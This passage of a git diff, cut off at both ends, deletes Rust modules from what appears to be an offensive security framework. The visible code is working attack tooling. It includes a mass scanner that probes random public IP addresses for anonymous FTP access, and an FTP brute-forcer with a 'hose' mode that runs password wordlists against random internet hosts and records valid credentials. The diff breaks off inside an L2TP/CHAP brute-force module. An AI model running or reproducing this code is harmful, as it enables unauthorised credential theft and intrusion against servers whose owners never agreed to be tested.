"[*] Status: {} IPs scanned, {} open anonymous FTP found", - s_checked.load(Ordering::Relaxed), - s_found.load(Ordering::Relaxed).to_string().green().bold() - ); - } - }); - - let run_random = target == "random" || target == "0.0.0.0" || target == "0.0.0.0/0"; - - if run_random { - // Initialize state file - OpenOptions::new().create(true).write(true).open(STATE_FILE).await?; - - println!("{}", "[*] Starting Random Internet Scan...".green()); - loop { - let permit = semaphore.clone().acquire_owned().await.context("Semaphore acquisition failed")?; - let exc = exclusions.clone(); - let sc = stats_checked.clone(); - let sf = stats_found.clone(); - let of = output_file.clone(); - - tokio::spawn(async move { - let ip = generate_random_public_ip(&exc); - if !is_ip_checked(&ip).await { - mark_ip_checked(&ip).await; - mass_scan_host(ip, sf, of).await; - } - sc.fetch_add(1, Ordering::Relaxed); - drop(permit); - }); - } - } else { - // File Mode - let content = tokio::fs::read_to_string(target).await.unwrap_or_default(); - let lines: Vec = content.lines().map(|s| s.trim().to_string()).filter(|s| !s.is_empty()).collect(); - println!("{}", format!("[*] Loaded {} targets from file.", lines.len()).blue()); - - for ip_str in lines { - let permit = semaphore.clone().acquire_owned().await.context("Semaphore acquisition failed")?; - let sc = stats_checked.clone(); - let sf = stats_found.clone(); - let of = output_file.clone(); - - // Simple IP parse - if let Ok(ip) = ip_str.parse::() { - tokio::spawn(async move { - if !is_ip_checked(&ip).await { - mark_ip_checked(&ip).await; - mass_scan_host(ip, sf, of).await; - } - sc.fetch_add(1, Ordering::Relaxed); - drop(permit); - }); - } else { - drop(permit); - } - } - - for _ in 0..concurrency { - let _ = semaphore.acquire().await.context("Semaphore acquisition failed")?; - } - } - - Ok(()) -} - -async fn mass_scan_host( - ip: IpAddr, - stats_found: Arc, - output_file: String, -) { - let sa = SocketAddr::new(ip, 21); - - // 1. Connection Check - if timeout(Duration::from_millis(CONNECT_TIMEOUT_MS), TcpStream::connect(&sa)).await.is_err() { - return; - } - - // 2. FTP Login (Plain only for speed/mass scan) - let addr_str = format!("{}:21", ip); - match timeout(Duration::from_millis(5000), AsyncFtpStream::connect(&addr_str)).await { - Ok(Ok(mut ftp)) => { - let result = ftp.login("anonymous", "anonymous").await; - if result.is_ok() { - // LOGIN OK - Now VERIFY command capability - // We use LIST (None implies current directory) - // We set a short timeout for list because sometimes passive mode hangs on bad NATs - match timeout(Duration::from_secs(5), ftp.list(None)).await { - Ok(Ok(_)) => { - // Success: Login + List - // Format: IP:PORT:USER:PASS - let msg = format!("{}:21:anonymous:anonymous", ip); - println!("\r{}", format!("[+] FOUND: {}", msg).green().bold()); - - if let Ok(mut file) = OpenOptions::new().create(true).append(true).open(&output_file).await { - let _ = file.write_all(format!("{}\n", msg).as_bytes()).await; - } - stats_found.fetch_add(1, Ordering::Relaxed); - } - Ok(Err(_)) => { - // Login ok, List failed (550 or similar) - } - Err(_) => { - // List timed out (PASV issue?) - } - } - let _ = ftp.quit().await; - } - } - _ => {} - } -} - -fn generate_random_public_ip(exclusions: &[ipnetwork::IpNetwork]) -> IpAddr { - let mut rng = rand::rng(); - loop { - let octets: [u8; 4] = rng.random(); - let ip = Ipv4Addr::from(octets); - let ip_addr = IpAddr::V4(ip); - - let mut excluded = false; - for net in exclusions { - if net.contains(ip_addr) { - excluded = true; - break; - } - } - - if !excluded { - return ip_addr; - } - } -} - -async fn is_ip_checked(ip: &impl ToString) -> bool { - if !std::path::Path::new(STATE_FILE).exists() { - return false; - } - - let ip_s = ip.to_string(); - let status = Command::new("grep") - .arg("-F") - .arg("-q") - .arg(format!("checked: {}", ip_s)) - .arg(STATE_FILE) - .stderr(std::process::Stdio::null()) // Suppress stderr just in case - .status() - .await; - - match status { - Ok(s) => s.success(), - Err(_) => false, - } -} - -async fn mark_ip_checked(ip: &impl ToString) { - let data = format!("checked: {}\n", ip.to_string()); - if let Ok(mut file) = OpenOptions::new() - .create(true) - .append(true) - .open(STATE_FILE) - .await - { - let _ = file.write_all(data.as_bytes()).await; - } -} diff --git a/src/modules/creds/generic/ftp_bruteforce.rs b/src/modules/creds/generic/ftp_bruteforce.rs deleted file mode 100644 index cf966e0..0000000 --- a/src/modules/creds/generic/ftp_bruteforce.rs +++ /dev/null @@ -1,660 +0,0 @@ -use anyhow::{anyhow, Result, Context}; -use colored::*; -use suppaftp::tokio::{AsyncFtpStream, AsyncNativeTlsConnector, AsyncNativeTlsFtpStream}; -use suppaftp::async_native_tls::TlsConnector; -use std::{ - fs::File, - io::Write, - sync::Arc, - time::Duration, - net::{IpAddr, Ipv4Addr, SocketAddr}, -}; -use std::sync::atomic::{AtomicBool, AtomicUsize, Ordering}; -use tokio::{ - sync::{Mutex, Semaphore}, - time::{sleep, timeout}, - process::Command, - fs::OpenOptions, - io::AsyncWriteExt, - net::TcpStream, -}; -use futures::stream::{FuturesUnordered, StreamExt}; -use rand::Rng; - -use crate::utils::{ - prompt_required, prompt_default, prompt_yes_no, - prompt_int_range, prompt_existing_file, prompt_port, - load_lines, get_filename_in_current_dir -}; -use crate::modules::creds::utils::BruteforceStats; - -const PROGRESS_INTERVAL_SECS: u64 = 2; -const DEFAULT_TIMEOUT_SECS: u64 = 10; -const MASS_SCAN_CONNECT_TIMEOUT_MS: u64 = 3000; -const STATE_FILE: &str = "ftp_brute_hose_state.log"; - -// Hardcoded exclusions -const EXCLUDED_RANGES: &[&str] = &[ - "10.0.0.0/8", "127.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16", - "224.0.0.0/4", "240.0.0.0/4", "0.0.0.0/8", - "100.64.0.0/10", "169.254.0.0/16", "255.255.255.255/32", - "103.21.244.0/22", "103.22.200.0/22", "103.31.4.0/22", "104.16.0.0/13", - "104.24.0.0/14", "108.162.192.0/18", "131.0.72.0/22", "141.101.64.0/18", - "162.158.0.0/15", "172.64.0.0/13", "173.245.48.0/20", "188.114.96.0/20", - "190.93.240.0/20", "197.234.240.0/22", "198.41.128.0/17", - "1.1.1.1/32", "1.0.0.1/32", - "8.8.8.8/32", "8.8.4.4/32" -]; - -/// FTP error classification for better handling -#[derive(Debug, Clone, Copy)] -enum FtpErrorType { - AuthenticationFailed, - TlsRequired, - ConnectionLimitExceeded, - ConnectionFailed, - Unknown, -} - -impl FtpErrorType { - /// Classify FTP error based on response message - fn classify_error(msg: &str) -> Self { - let msg_lower = msg.to_lowercase(); - - // Authentication failed - if msg.contains("530") || msg_lower.contains("login incorrect") || - msg_lower.contains("user") && msg_lower.contains("cannot") || - msg_lower.contains("password") && msg_lower.contains("incorrect") { - return Self::AuthenticationFailed; - } - - // TLS required - if msg.contains("550 SSL") || msg_lower.contains("tls required") || - msg_lower.contains("ssl connection required") || - msg.contains("220 TLS go first") || - msg_lower.contains("must use tls") { - return Self::TlsRequired; - } - - // Connection limit exceeded - if msg.contains("421") || msg_lower.contains("too many") || - msg_lower.contains("connection limit") { - return Self::ConnectionLimitExceeded; - } - - // Connection failed - if msg_lower.contains("connection refused") || - msg_lower.contains("no route to host") || - msg_lower.contains("network unreachable") || - msg_lower.contains("connection reset") { - return Self::ConnectionFailed; - } - - Self::Unknown - } -} - -fn display_banner() { - println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan()); - println!("{}", "║ FTP Brute Force Module ║".cyan()); - println!("{}", "║ Supports IPv4/IPv6 & Mass Scanning (Hose Mode) ║".cyan()); - println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan()); - println!(); -} - -/// Format IPv4 or IPv6 addresses with port for display -fn format_addr_for_display(target: &str, port: u16) -> String { - if target.starts_with('[') && target.contains("]:") { - target.to_string() - } else if target.matches(':').count() == 1 && !target.contains('[') { - target.to_string() - } else { - let clean_target = if target.starts_with('[') && target.ends_with(']') { - &target[1..target.len() - 1] - } else { - target - }; - if clean_target.contains(':') { - format!("[{}]:{}", clean_target, port) - } else { - format!("{}:{}", clean_target, port) - } - } -} - - -pub async fn run(target: &str) -> Result<()> { - display_banner(); - - // Check for Mass Scan Mode - let is_mass_scan = target == "random" || target == "0.0.0.0" || target == "0.0.0.0/0" || std::path::Path::new(target).is_file(); - - if is_mass_scan { - println!("{}", format!("[*] Target: {}", target).cyan()); - println!("{}", "[*] Mode: Mass Scan / Hose".yellow()); - return run_mass_scan(target).await; - } - - println!("{}", format!("[*] Target: {}", target).cyan()); - - // --- Standard Single Target Logic --- - - let port: u16 = prompt_port("FTP Port", 21)?; - let usernames_file = prompt_required("Username wordlist")?; - let passwords_file = prompt_required("Password wordlist")?; - let concurrency: usize = loop { - let input = prompt_default("Max concurrent tasks", "500")?; - if let Ok(n) = input.parse::() { - if n > 0 { break n } - } - println!("Invalid number. Try again."); - }; - - // Create a semaphore to limit concurrent network operations - let semaphore = Arc::new(Semaphore::new(concurrency)); - - let stop_on_success = prompt_yes_no("Stop on first success?", true)?; - let save_results = prompt_yes_no("Save results to file?", true)?; - let save_path = if save_results { - Some(prompt_default("Output file", "ftp_results.txt")?) - } else { - None - }; - let verbose = prompt_yes_no("Verbose mode?", false)?; - let combo_mode = prompt_yes_no("Combination mode (user × pass)?", false)?; - - let display_addr = format_addr_for_display(target, port); - let connect_addr = format_addr_for_display(target, port); - - let found = Arc::new(Mutex::new(Vec::new())); - let unknown = Arc::new(Mutex::new(Vec::<(String, String, String, String)>::new())); - let stop = Arc::new(AtomicBool::new(false)); - let stats = Arc::new(BruteforceStats::new()); - - println!("\n[*] Starting brute-force on {}", display_addr); - - let users = load_lines(&usernames_file)?; - if users.is_empty() { - println!("[!] Username wordlist is empty or invalid. Exiting."); - return Ok(()); - } - println!("{}", format!("[*] Loaded {} usernames", users.len()).cyan()); - - let passes = load_lines(&passwords_file)?; - if passes.is_empty() { - println!("[!] Password wordlist is empty or invalid. Exiting."); - return Ok(()); - } - println!("{}", format!("[*] Loaded {} passwords", passes.len()).cyan()); - - let total_attempts = if combo_mode { users.len() * passes.len() } else { passes.len() }; - println!("{}", format!("[*] Total attempts: {}", total_attempts).cyan()); - println!(); - - // Start progress reporter - let stats_clone = stats.clone(); - let stop_clone = stop.clone(); - let progress_handle = tokio::spawn(async move { - loop { - if stop_clone.load(Ordering::Relaxed) { - break; - } - stats_clone.print_progress(); - sleep(Duration::from_secs(PROGRESS_INTERVAL_SECS)).await; - } - }); - - let mut tasks = FuturesUnordered::new(); - - if combo_mode { - for user in &users { - if stop_on_success && stop.load(Ordering::Relaxed) { break; } - for pass in &passes { - if stop_on_success && stop.load(Ordering::Relaxed) { break; } - - let addr_clone = connect_addr.clone(); - let target_clone = target.to_string(); - let display_addr_clone = display_addr.clone(); - let user_clone = user.clone(); - let pass_clone = pass.clone(); - let found_clone = Arc::clone(&found); - let unknown_clone = Arc::clone(&unknown); - let stop_clone = Arc::clone(&stop); - let semaphore_clone = Arc::clone(&semaphore); - let stats_clone = Arc::clone(&stats); - let verbose_flag = verbose; - let stop_on_success_flag = stop_on_success; - - tasks.push(tokio::spawn(async move { - if stop_on_success_flag && stop_clone.load(Ordering::Relaxed) { - return; - } - let permit = match semaphore_clone.acquire_owned().await { - Ok(permit) => permit, - Err(_) => return, - }; - if stop_on_success_flag && stop_clone.load(Ordering::Relaxed) { - return; - } - match try_ftp_login(&addr_clone, &target_clone, &user_clone, &pass_clone, verbose_flag).await { - Ok(true) => { - println!("\r{}", format!("[+] {} -> {}:{}", display_addr_clone, user_clone, pass_clone).green().bold()); - found_clone.lock().await.push((display_addr_clone.clone(), user_clone.clone(), pass_clone.clone())); - stats_clone.record_attempt(true, false); - if stop_on_success_flag { - stop_clone.store(true, Ordering::Relaxed); - } - } - Ok(false) => { - stats_clone.record_attempt(false, false); - if verbose_flag { - println!("\r{}", format!("[-] {} -> {}:{}", display_addr_clone, user_clone, pass_clone).dimmed()); - } - } - Err(e) => { - stats_clone.record_attempt(false, true); - let msg = e.to_string(); - { - let mut _unknown_clone = unknown_clone.lock().await; - _unknown_clone.push(( - display_addr_clone.clone(), - user_clone.clone(), - pass_clone.clone(), - msg.clone(), - )); - } - if verbose_flag { - println!("\r{}", format!("[?] {} -> {}:{} error/unknown: {}", display_addr_clone, user_clone, pass_clone, msg).yellow()); - } - } - } - drop(permit); - })); - } - } - } else { - if !users.is_empty() { - for (i, pass) in passes.iter().enumerate() { - if stop_on_success && stop.load(Ordering::Relaxed) { break; } - let user = users.get(i % users.len()).expect("User list modulus logic error").clone(); - - let addr_clone = connect_addr.clone(); - let target_clone = target.to_string(); - let display_addr_clone = display_addr.clone(); - let pass_clone = pass.clone(); - let found_clone = Arc::clone(&found); - let unknown_clone = Arc::clone(&unknown); - let stop_clone = Arc::clone(&stop); - let semaphore_clone = Arc::clone(&semaphore); - let stats_clone = Arc::clone(&stats); - let verbose_flag = verbose; - let stop_on_success_flag = stop_on_success; - - tasks.push(tokio::spawn(async move { - if stop_on_success_flag && stop_clone.load(Ordering::Relaxed) { - return; - } - let permit = match semaphore_clone.acquire_owned().await { - Ok(permit) => permit, - Err(_) => return, - }; - if stop_on_success_flag && stop_clone.load(Ordering::Relaxed) { - return; - } - match try_ftp_login(&addr_clone, &target_clone, &user, &pass_clone, verbose_flag).await { - Ok(true) => { - println!("\r{}", format!("[+] {} -> {}:{}", display_addr_clone, user, pass_clone).green().bold()); - found_clone.lock().await.push((display_addr_clone.clone(), user.clone(), pass_clone.clone())); - stats_clone.record_attempt(true, false); - if stop_on_success_flag { - stop_clone.store(true, Ordering::Relaxed); - } - } - Ok(false) => { - stats_clone.record_attempt(false, false); - if verbose_flag { - println!("\r{}", format!("[-] {} -> {}:{}", display_addr_clone, user, pass_clone).dimmed()); - } - } - Err(e) => { - stats_clone.record_attempt(false, true); - let msg = e.to_string(); - { - let mut unk = unknown_clone.lock().await; - unk.push(( - display_addr_clone.clone(), - user.clone(), - pass_clone.clone(), - msg.clone(), - )); - } - if verbose_flag { - println!("\r{}", format!("[!] Error: {}", e).yellow()); - } - } - } - drop(permit); - })); - } - } - } - - while let Some(res) = tasks.next().await { - if let Err(e) = res { - if verbose { - println!("\r{}", format!("[!] Task error: {}", e).red()); - } - } - } - - // Stop progress reporter - stop.store(true, Ordering::Relaxed); - let _ = progress_handle.await; - - // Print final statistics - stats.print_final().await; - - let creds = found.lock().await; - if creds.is_empty() { - println!("{}", "[-] No credentials found.".yellow()); - } else { - println!("{}", format!("[+] Found {} valid credential(s):", creds.len()).green().bold()); - for (host, user, pass) in creds.iter() { - println!(" {} {}:{}:{}", "✓".green(), host, user, pass); - } - if let Some(path) = save_path { - let file_path = get_filename_in_current_dir(&path); - match File::create(&file_path) { - Ok(mut file) => { - for (host, user, pass) in creds.iter() { - // Standardized format: IP:PORT:USER:PASS - // host should already include IP:PORT based on `display_addr` formatting earlier - // But wait, `display_addr` is `[IP]:Port` or `IP:Port` - // We want strictly `IP:PORT:USER:PASS` - if writeln!(file, "{}:{}:{}", host, user, pass).is_err() { - break; - } - } - println!("[+] Results saved to '{}'", file_path.display()); - } - Err(e) => { - eprintln!("[!] Could not create or write to result file '{}': {}", file_path.display(), e); - } - } - } - } - - Ok(()) -} - -async fn run_mass_scan(target: &str) -> Result<()> { - // Prep - let port: u16 = prompt_port("FTP Port", 21)?; - let usernames_file = prompt_existing_file("Username wordlist")?; - let passwords_file = prompt_existing_file("Password wordlist")?; - - let users = load_lines(&usernames_file)?; - let pass_lines = load_lines(&passwords_file)?; - - if users.is_empty() { return Err(anyhow!("User list empty")); } - if pass_lines.is_empty() { return Err(anyhow!("Pass list empty")); } - - let concurrency = prompt_int_range("Max concurrent hosts to scan", 500, 1, 10000)? as usize; - let verbose = prompt_yes_no("Verbose mode?", false)?; - let output_file = prompt_default("Output result file", "ftp_brute_mass_results.txt")?; - - // Parse exclusions - let mut exclusion_subnets = Vec::new(); - for cidr in EXCLUDED_RANGES { - if let Ok(net) = cidr.parse::() { - exclusion_subnets.push(net); - } - } - let exclusions = Arc::new(exclusion_subnets); - - let semaphore = Arc::new(Semaphore::new(concurrency)); - let stats_checked = Arc::new(AtomicUsize::new(0)); - let stats_found = Arc::new(AtomicUsize::new(0)); - - let creds_pkg = Arc::new((users, pass_lines)); - - // Stats - let s_checked = stats_checked.clone(); - let s_found = stats_found.clone(); - tokio::spawn(async move { - loop { - tokio::time::sleep(Duration::from_secs(5)).await; - println!( - "[*] Status: {} IPs scanned, {} valid credentials found", - s_checked.load(Ordering::Relaxed), - s_found.load(Ordering::Relaxed).to_string().green().bold() - ); - } - }); - - let run_random = target == "random" || target == "0.0.0.0" || target == "0.0.0.0/0"; - - if run_random { - // Initialize state file - OpenOptions::new().create(true).write(true).open(STATE_FILE).await?; - - println!("{}", "[*] Starting Random Internet Scan...".green()); - loop { - let permit = semaphore.clone().acquire_owned().await.context("Semaphore acquisition failed")?; - let exc = exclusions.clone(); - let cp = creds_pkg.clone(); - let sc = stats_checked.clone(); - let sf = stats_found.clone(); - let of = output_file.clone(); - - tokio::spawn(async move { - let ip = generate_random_public_ip(&exc); - if !is_ip_checked(&ip).await { - mark_ip_checked(&ip).await; - mass_scan_host(ip, port, cp, sf, of, verbose).await; - } - sc.fetch_add(1, Ordering::Relaxed); - drop(permit); - }); - } - } else { - // File Mode - let content = tokio::fs::read_to_string(target).await.unwrap_or_default(); - let lines: Vec = content.lines().map(|s| s.trim().to_string()).filter(|s| !s.is_empty()).collect(); - println!("{}", format!("[*] Loaded {} targets from file.", lines.len()).blue()); - - for ip_str in lines { - let permit = semaphore.clone().acquire_owned().await.context("Semaphore acquisition failed")?; - let cp = creds_pkg.clone(); - let sc = stats_checked.clone(); - let sf = stats_found.clone(); - let of = output_file.clone(); - - if let Ok(ip) = ip_str.parse::() { - tokio::spawn(async move { - if !is_ip_checked(&ip).await { - mark_ip_checked(&ip).await; - mass_scan_host(ip, port, cp, sf, of, verbose).await; - } - sc.fetch_add(1, Ordering::Relaxed); - drop(permit); - }); - } else { - drop(permit); - } - } - for _ in 0..concurrency { - let _ = semaphore.acquire().await.context("Semaphore acquisition failed")?; - } - } - - Ok(()) -} - -async fn mass_scan_host( - ip: IpAddr, - port: u16, - creds: Arc<(Vec, Vec)>, - stats_found: Arc, - output_file: String, - verbose: bool -) { - let sa = SocketAddr::new(ip, port); - - // 1. Connection Check - if timeout(Duration::from_millis(MASS_SCAN_CONNECT_TIMEOUT_MS), TcpStream::connect(&sa)).await.is_err() { - return; - } - - let (users, passes) = &*creds; - - // 2. Iterative Bruteforce - // Sequential try to avoid blasting the server - let addr_str = format!("{}:{}", ip, port); - - for user in users { - for pass in passes { - let res = try_ftp_login(&addr_str, &ip.to_string(), user, pass, verbose).await; - match res { - Ok(true) => { - // Format: IP:PORT:USER:PASS - let msg = format!("{}:{}:{}:{}", ip, port, user, pass); - println!("\r{}", format!("[+] FOUND: {}", msg).green().bold()); - if let Ok(mut file) = OpenOptions::new().create(true).append(true).open(&output_file).await { - let _ = file.write_all(format!("{}\n", msg).as_bytes()).await; - } - stats_found.fetch_add(1, Ordering::Relaxed); - return; // Stop after first success - } - Ok(false) => { // Auth failed - } - Err(e) => { - // If conn refused/timeout, likely dead or blocked, abort this host - let err = e.to_string().to_lowercase(); - if err.contains("refused") || err.contains("timeout") || err.contains("reset") { - return; - } - } - } - } - } -} - -/// Try login using address string and fallback to FTPS if needed -async fn try_ftp_login(addr: &str, target: &str, user: &str, pass: &str, verbose: bool) -> Result { - // Attempt 1: Plain FTP - if verbose { - //println!("[i] Connecting to {} (plain FTP)", addr); - } - - match timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS), AsyncFtpStream::connect(addr)).await { - Ok(Ok(mut ftp)) => { - match ftp.login(user, pass).await { - Ok(_) => { - let _ = ftp.quit().await; - return Ok(true); - } - Err(e) => { - let msg = e.to_string(); - match FtpErrorType::classify_error(&msg) { - FtpErrorType::AuthenticationFailed => { - return Ok(false); - } - FtpErrorType::TlsRequired => { - // Proceed to FTPS attempt - } - FtpErrorType::ConnectionLimitExceeded => { - sleep(Duration::from_secs(1)).await; - return Ok(false); // Treat as soft fail - } - _ => { - return Err(anyhow!("FTP login error: {}", msg)); - } - } - } - } - } - Ok(Err(e)) => { - // Connection level error - return Err(e.into()); - } - Err(_) => { - return Err(anyhow!("Timeout")); - } - } - - // FTPS fallback logic (retained but lightweight for mass scan? maybe skip for mass scan unless configured?) - // For now, reuse it as it makes the check robust. - - // FTPS attempts ... (simulated reuse of original logic below) - let mut ftp_tls = match timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS), AsyncNativeTlsFtpStream::connect(addr)).await { - Ok(Ok(s)) => s, - _ => return Err(anyhow!("FTPS Connect failed")), - }; - - let connector = AsyncNativeTlsConnector::from( - TlsConnector::new() - .danger_accept_invalid_certs(true) - .danger_accept_invalid_hostnames(true), - ); - - let domain = target.trim_start_matches('[').split(&[']', ':'][..]).next().unwrap_or(target); - - ftp_tls = match ftp_tls.into_secure(connector, domain).await { - Ok(s) => s, - Err(e) => return Err(anyhow!("TLS Upgrade: {}", e)), - }; - - match ftp_tls.login(user, pass).await { - Ok(_) => { - let _ = ftp_tls.quit().await; - Ok(true) - } - Err(e) => { - match FtpErrorType::classify_error(&e.to_string()) { - FtpErrorType::AuthenticationFailed => Ok(false), - _ => Err(anyhow!("FTPS Error: {}", e)), - } - } - } -} - -fn generate_random_public_ip(exclusions: &[ipnetwork::IpNetwork]) -> IpAddr { - let mut rng = rand::rng(); - loop { - let octets: [u8; 4] = rng.random(); - let ip = Ipv4Addr::from(octets); - let ip_addr = IpAddr::V4(ip); - let mut excluded = false; - for net in exclusions { - if net.contains(ip_addr) { - excluded = true; - break; - } - } - if !excluded { return ip_addr; } - } -} - -async fn is_ip_checked(ip: &impl ToString) -> bool { - if !std::path::Path::new(STATE_FILE).exists() { - return false; - } - let ip_s = ip.to_string(); - let status = Command::new("grep") - .arg("-F") - .arg("-q") - .arg(format!("checked: {}", ip_s)) - .arg(STATE_FILE) - .stderr(std::process::Stdio::null()) - .status() - .await; - match status { Ok(s) => s.success(), Err(_) => false } -} - -async fn mark_ip_checked(ip: &impl ToString) { - let data = format!("checked: {}\n", ip.to_string()); - if let Ok(mut file) = OpenOptions::new().create(true).append(true).open(STATE_FILE).await { - let _ = file.write_all(data.as_bytes()).await; - } -} diff --git a/src/modules/creds/generic/l2tp_bruteforce.rs b/src/modules/creds/generic/l2tp_bruteforce.rs deleted file mode 100644 index b927485..0000000 --- a/src/modules/creds/generic/l2tp_bruteforce.rs +++ /dev/null @@ -1,623 +0,0 @@ -use anyhow::{anyhow, Result}; -use colored::*; -use futures::stream::{FuturesUnordered, StreamExt}; -use std::{ - fs::File, - io::Write, - net::UdpSocket, - sync::Arc, - sync::atomic::{AtomicBool, Ordering}, - time::Duration, -}; -use tokio::sync::{Mutex, Semaphore}; -use tokio::time::sleep; - -use crate::utils::{ - prompt_yes_no, prompt_existing_file, prompt_default, prompt_int_range, - load_lines, normalize_target, get_filename_in_current_dir, prompt_port, -}; -use crate::modules::creds::utils::BruteforceStats; - -const PROGRESS_INTERVAL_SECS: u64 = 2; -const DEFAULT_TIMEOUT_MS: u64 = 5000; - -// L2TP Message Types -const L2TP_SCCRQ: u16 = 1; // Start-Control-Connection-Request -const L2TP_SCCRP: u16 = 2; // Start-Control-Connection-Reply -const L2TP_SCCCN: u16 = 3; // Start-Control-Connection-Connected -const L2TP_ICRQ: u16 = 10; // Incoming-Call-Request -const L2TP_ICRP: u16 = 11; // Incoming-Call-Reply -const L2TP_ICCN: u16 = 12; // Incoming-Call-Connected - -// PPP Protocol IDs -const PPP_CHAP: u16 = 0xC223; - -// CHAP Codes -const CHAP_CHALLENGE: u8 = 1; -const CHAP_RESPONSE: u8 = 2; -const CHAP_SUCCESS: u8 = 3; -const CHAP_FAILURE: u8 = 4; - -fn display_banner() { - println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan()); - println!("{}", "║ L2TP/PPP Brute Force Module ║".cyan()); - println!("{}", "║ Native L2TP/CHAP Implementation ║".cyan()); - println!("{}", "║ Tests against L2TP servers using CHAP authentication ║".cyan()); - println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan()); - println!(); -} - -/// L2TP Session state -struct L2tpSession { - sock: UdpSocket, - local_tunnel_id: u16, - remote_tunnel_id: u16, - local_session_id: u16, - remote_session_id: u16, - ns: u16, // Next sequence to send - nr: u16, // Next sequence expected -} - -impl L2tpSession { - fn new(sock: UdpSocket) -> Self { - Self { - sock, - local_tunnel_id: rand::random::() | 1, - remote_tunnel_id: 0, - local_session_id: rand::random::() | 1, - remote_session_id: 0, - ns: 0, - nr: 0, - } - } - - /// Build L2TP control message - fn build_control(&mut self, avps: &[u8]) -> Vec { - // Flags: T=1 (control), L=1 (length), S=1 (sequence) - let flags: u16 = 0xC802; - let length = 12 + avps.len() as u16; - - let mut pkt = Vec::with_capacity(length as usize); - pkt.extend_from_slice(&flags.to_be_bytes()); - pkt.extend_from_slice(&length.to_be_bytes()); - pkt.extend_from_slice(&self.remote_tunnel_id.to_be_bytes()); - pkt.extend_from_slice(&0u16.to_be_bytes()); // Session 0 for control - pkt.extend_from_slice(&self.ns.to_be_bytes()); - pkt.extend_from_slice(&self.nr.to_be_bytes()); - pkt.extend_from_slice(avps); - - self.ns = self.ns.wrapping_add(1); - pkt - } - - /// Build L2TP data message - fn build_data(&self, payload: &[u8]) -> Vec { - let flags: u16 = 0x0002; // Data message - - let mut pkt = Vec::with_capacity(6 + payload.len()); - pkt.extend_from_slice(&flags.to_be_bytes()); - pkt.extend_from_slice(&self.remote_tunnel_id.to_be_bytes()); - pkt.extend_from_slice(&self.remote_session_id.to_be_bytes()); - pkt.extend_from_slice(payload); - pkt - } - - /// Build AVP (Attribute-Value Pair) - fn build_avp(attr_type: u16, value: &[u8], mandatory: bool) -> Vec { - let flags = if mandatory { 0x8000 } else { 0 } | (6 + value.len() as u16); - let mut avp = Vec::with_capacity(6 + value.len()); - avp.extend_from_slice(&flags.to_be_bytes()); - avp.extend_from_slice(&0u16.to_be_bytes()); // Vendor ID = 0 - avp.extend_from_slice(&attr_type.to_be_bytes()); - avp.extend_from_slice(value); - avp - } - - /// Send SCCRQ (Start-Control-Connection-Request) - fn send_sccrq(&mut self) -> Result<()> { - let mut avps = Vec::new(); - // Message Type = SCCRQ - avps.extend(Self::build_avp(0, &L2TP_SCCRQ.to_be_bytes(), true)); - // Protocol Version = 1.0 - avps.extend(Self::build_avp(2, &[0x01, 0x00], true)); - // Host Name - avps.extend(Self::build_avp(3, b"RustSploit-L2TP", true)); - // Assigned Tunnel ID - avps.extend(Self::build_avp(9, &self.local_tunnel_id.to_be_bytes(), true)); - // Receive Window Size - avps.extend(Self::build_avp(10, &1500u16.to_be_bytes(), true)); - - let pkt = self.build_control(&avps); - self.sock.send(&pkt)?; - Ok(()) - } - - /// Send SCCCN (Start-Control-Connection-Connected) - fn send_scccn(&mut self) -> Result<()> { - let mut avps = Vec::new(); - avps.extend(Self::build_avp(0, &L2TP_SCCCN.to_be_bytes(), true)); - - let pkt = self.build_control(&avps); - self.sock.send(&pkt)?; - Ok(()) - } - - /// Send ICRQ (Incoming-Call-Request) - fn send_icrq(&mut self) -> Result<()> { - let mut avps = Vec::new(); - avps.extend(Self::build_avp(0, &L2TP_ICRQ.to_be_bytes(), true)); - avps.extend(Self::build_avp(14, &self.local_session_id.to_be_bytes(), true)); - avps.extend(Self::build_avp(15, &rand::random::().to_be_bytes(), true)); // Call Serial Number - - let pkt = self.build_control(&avps); - self.sock.send(&pkt)?; - Ok(()) - } - - /// Send ICCN (Incoming-Call-Connected) - fn send_iccn(&mut self) -> Result<()> { - let mut avps = Vec::new(); - avps.extend(Self::build_avp(0, &L2TP_ICCN.to_be_bytes(), true)); - avps.extend(Self::build_avp(24, &1000000u32.to_be_bytes(), true)); // Tx Connect Speed - avps.extend(Self::build_avp(19, &0u32.to_be_bytes(), true)); // Framing Type - - let pkt = self.build_control(&avps); - self.sock.send(&pkt)?; - Ok(()) - } - - /// Send CHAP Response - fn send_chap_response(&self, identifier: u8, challenge: &[u8], username: &str, password: &str) -> Result<()> { - // Compute CHAP hash: MD5(identifier + password + challenge) - let mut data = Vec::with_capacity(1 + password.len() + challenge.len()); - data.push(identifier); - data.extend_from_slice(password.as_bytes()); - data.extend_from_slice(challenge); - let hash = md5::compute(&data); - - // Build CHAP Response packet - let name_bytes = username.as_bytes(); - let length: u16 = 4 + 1 + 16 + name_bytes.len() as u16; - - let mut chap = Vec::new(); - chap.push(CHAP_RESPONSE); - chap.push(identifier); - chap.extend_from_slice(&length.to_be_bytes()); - chap.push(16); // Value size (MD5 = 16 bytes) - chap.extend_from_slice(&hash.0); - chap.extend_from_slice(name_bytes); - - // Wrap in PPP frame - let mut ppp = Vec::new(); - ppp.extend_from_slice(&[0xFF, 0x03]); // Address + Control - ppp.extend_from_slice(&PPP_CHAP.to_be_bytes()); - ppp.extend_from_slice(&chap); - - let pkt = self.build_data(&ppp); - self.sock.send(&pkt)?; - Ok(()) - } - - /// Receive and parse L2TP packet - fn recv_packet(&self, timeout: Duration) -> Result { - self.sock.set_read_timeout(Some(timeout))?; - - let mut buf = [0u8; 4096]; - let n = self.sock.recv(&mut buf)?; - - if n < 6 { - return Err(anyhow!("Packet too short")); - } - - let flags = u16::from_be_bytes([buf[0], buf[1]]); - let is_control = (flags & 0x8000) != 0; - let has_length = (flags & 0x4000) != 0; - let has_sequence = (flags & 0x0800) != 0; - - let mut offset = 2; - - if has_length { - offset += 2; - } - - let tunnel_id = u16::from_be_bytes([buf[offset], buf[offset + 1]]); - offset += 2; - let session_id = u16::from_be_bytes([buf[offset], buf[offset + 1]]); - offset += 2; - - if has_sequence { - offset += 4; // Ns + Nr - } - - let payload = buf[offset..n].to_vec(); - - Ok(L2tpPacket { - is_control, - tunnel_id, - session_id, - payload, - }) - } - - /// Parse control message type from AVPs - 